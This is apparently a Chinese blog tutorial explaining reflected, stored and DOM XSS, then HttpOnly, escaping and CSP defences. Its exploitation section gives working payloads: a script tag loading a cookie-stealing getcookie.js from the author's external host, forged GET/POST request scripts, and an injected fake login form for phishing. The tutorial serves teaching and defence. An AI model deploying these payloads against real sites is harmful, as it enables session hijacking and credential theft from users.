XSS跨站脚本攻击原理分析与防御

207 阅读4分钟

什么是XSS

XSS(Cross Site Script)攻击是指黑客通过“HTML注入”篡改网页,插入恶意的脚本,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意用户的特殊目的。

XSS分类

反射型XSS

反射型XSS也被称为非持久性XSS,是现在最容易出现的一种XSS漏洞。当用户访问一个带有XSS代码的URL请求时,服务器端接收数据后处理,然后把带有XSS代码的数据发送到浏览器,浏览器解析这段带有XSS代码的数据后,最终造成XSS漏洞。

<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <title>Document</title>
</head>
<body>
  <form action="./test.php" method="get">
      您的姓名
      <input type=text name="name" value="" >  
      <input type=submit value="登录">  
  </form>
</body>
</html>

image-20220615171210880.webp 输入一段脚本代码提交,会直接弹出

image-20220615165247780.webp 我们看一下源代码,script脚本被加载到页面中,这显然是有问题的.

image-20220615171427021.webp

存储型XSS

存储型xss会把用户输入的数据存储在服务器端,这种xss具备很强的稳定性,常见的场景就是,黑客写下一篇包含恶意js脚本的博客,其他用户浏览包含恶意js脚本的博客,会在他们浏览器上执行这段恶意代码。包含恶意js脚本的博客是保存在服务端的,所以这种xss攻击叫做“存储型xss"

正常输入

image-20220615173719232.webp

image-20220615173747621.webp

非人类输入

image-20220615173832904.webp

image-20220615173849667.webp

DOM XSS

传统类型的XSS漏洞(反射型或存储型)一般出现在服务器端代码中,而DOM XSS是基于DOM文档对象模型的一种漏洞,所以,受客户端浏览器的脚本代码所影响。XSS代码不需要服务端解析响应的直接参与,触发XSS的是浏览器端的DOM解析。

例:

<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <title>Document</title>
</head>
<body>
    <div id="t"></div>
    <input type="text" id="test" value="" />
    <input type="button" id="s" value="write" onclick="test()" />
  <script>
        function test(){
          var str = document.getElementById("test").value
          document.getElementById("t").innerHTML = "<a href='"+str+"' >testLink</a>"
        }
    </script>
</body>
</html>

点击wirte会有一个超链接,其地址为文本框的内容。

这里的wirte按钮的onclick事件调用了test()函数。而在test()函数。而在test()函数中,修改了页面的DOM节点,通过innerHTML把一段用户数据当作html写入到页面中,这就造成了DOM based XSS。

我们构造一个恶意数据:' onclick="alert(1)"

image-20220615175201085.webp 也可以选择闭合掉标签,并插入一个新的HTML标签

'><img src=# onerror=alert(/xss1/) /><'

image-20220615175708141.webp

XSS漏洞利用

Cookie劫持

常见的XSS漏洞利用方式有Cookie劫持,一般Cookie中保存了用户的登录凭证。如果Cookie泄露,则可以直接登录进用户的账号。

  • 1.用户登录
  • 2.攻击者欺骗用户访问带XSS payload的URL
  • 3.用户请求攻击者的URL
  • 4.在用户浏览器执行远程js,将cookie发送给攻击者
  • 5.攻击者利用cookie进入用户账号

我们可以在最初的反射型例子中输入一段包含远程脚本的代码<script src="https://liuliang.tk/getcookie.js"></script>

image-20220616102705682.webp

看下远程服务器响应日志

image-20220616102741200.webp

构造GET与POST请求

通过js,让浏览器发起GET、POST请求,完成各种操作。

  • 构造GET请求:通过插入图片,图片的src为GET请求的URL。
// option.js
const img = document.createElement('img')
img.src = 'https://liuliang.tk/option.php?option=add'
document.body.appendChild(img)
  • 构造POST请求:

    • 1.构造form表单,并提交

      // option.js
      const dd = document.createElement ("div")
      document.body.appendChild(dd)
      dd.innerHTML = "<form action='option.php' method='post' id='xssform'>" +
      "<input type='text' name='option' value='add'> </form>"
      document.getElementById("xssform").submit()
      
    • 2.使用 ajax 请求

      // option.js
      let ajax = null
      const url = 'https://liuliang.tk/option.php'
      if (window.XMLHttpRequest) {
          ajax = new XMLHttpRequest()
      } else if (window.ActiveXobject) {
          ajax = new ActiveX0bject ("Microsoft.XMLHTTP")
      } else {
          alert("not compatible")
      }
      ​
      ajax.open("post", url, true)
      ajax.setRequestHeader("Content-type", "application/x-www-form-urlencoded")
      ajax.send('option=add')
      ​
      ajax.onreadystatechange = function () {
          if (ajax.redyState == 4 && ajax.status == 200) {
              alert("Done")
          }
      }
      

访问https://liuliang.tk/option.php?xss=<script src="https://liuliang.tk/option.js"></script>

option.txt中写入结果

image-20220616115727331.webp

钓鱼

伪装一个页面

var dd = document.createElement("div")
document.body.appendChild(dd)
dd.innerHTML = "<meta charset='UTF-8'>" +
"<form action='login.php' method='post'>" +
"<li><label>用户名:</label>" + "<input type='text' name='username'></li>" +
"<li><label>密码:</label>" + "<input type= 'password' name='password'></li>" +
"<li><input type='submit' name='login' value='登录'></li></form>"

注入 xss https://liuliang.tk/login.php?param=<script src="https://liuliang.tk/login.js"></script>

image-20220616135039587.webp

image-20220616135237632.webp

识别浏览器及插件

信息收集用户的浏览器版本信息,扩大攻击面。通过js读取浏览器的userAgent对象识别浏览器版本,查询navigator.plugins对象获取插件信息。

image-20220616135613416.webp

XSS防御

HttpOnly

一个cookie的使用过程如下:

step1: 浏览器向服务器发起请求,这时候没有cookie。

step2 : 服务器返回时发送set-cookie,向客户端浏览器写入cookie。

step3: 在该cookie到前期,浏览器访问该域下的所有界面,都将发送该cookie。

<?php
    header("Set-Cookie: Cookie1=test1;");
    header("Set-Cookie: Cookie2=test2;httponly", false);
?>
<script>
    alert(document.cookie)
</script>

只有test1被读取到

image-20220616141250020.webp

输入检查

对传入参数进行格式校验,并对特殊字符进行过滤或转义。由于输入数据的使用场景不同,过滤或转义可能会影响实际的业务使用。同时XSS攻击发生的位置并不是参数传入的位置,可能存在遗漏。

输入检查的代码一定要在服务器端实现,因为如果在客户端使用JavaScript进行输入检查,很容易绕过检查。正常做法是客户端和服务端实现相同的输入检查,客户端可以阻挡大部分错误操作的正常用户,可以节约服务器的资源。

// js
function escapeHTML(str) {
    if (!str) return '';
    str = str.replace(/&/g, "&amp;");
    str = str.replace(/</g, "&lt;");
    str = str.replace(/>/g, "&gt;");
    str = str.replace(/"/g, "&quot;");
    str = str.replace(/'/g, "&#39;");
    return str;
};

输出检查

对返回给浏览器的输出结果进行HTML实体化编码。对JavaScript输出的用户可控数据进行转义。

<!--api.php-->
<?php
    @$input = $_GET['param'];
    echo "<div>.$input.</div>";
    echo "<div>".htmlentities($input)."</div>";
    echo "<div>".htmlspecialchars($input)."</div>";
?>

注:htmlentities不指定编码的话遇到中文会乱码

在使用 .innerHTMLdocument.write()document.outerHTML 这些能够修改页面结构的 API 时要注意防范恶意代码,尽量使用 .textContent.setAttribute()

内容安全策略(CSP)

内容安全策略(Content Security Policy),实质就是白名单制度,开发者明确告诉客户端,哪些外部资源可以加载和执行,大大增强了网页的安全性。

两种方法可以启用 CSP。一种是通过 HTTP 头信息的 Content-Security-Policy 的字段。

Content-Security-Policy: script-src 'self'; 
                         object-src 'none';
                         style-src cdn.example.org iyouhun.com; 
                         child-src https:

另一种是通过网页的 <meta> 标签。

<meta http-equiv="Content-Security-Policy" content="script-src 'self'; object-src 'none'; style-src cdn.example.org iyouhun.com; child-src https:">

上面代码中,CSP 做了如下配置。

  • 脚本: 只信任当前域名
  • <object>标签: 不信任任何 URL,即不加载任何资源
  • 样式表: 只信任 cdn.example.org 和 iyouhun.com
  • 页面子内容,如 <frame><iframe> 必须使用HTTPS协议加载
  • 其他资源: 没有限制

启用后,不符合 CSP 的外部资源就会被阻止加载。

案例

下面是从网上找的一些真实的网站存在的xss漏洞

百度网盘:zhuanlan.zhihu.com/p/24249045

酷站:www.cnblogs.com/chyingp/arc…

xss在线攻击游戏

攻击小游戏

alf.nu/alert1

prompt.ml/

xss-game.appspot.com/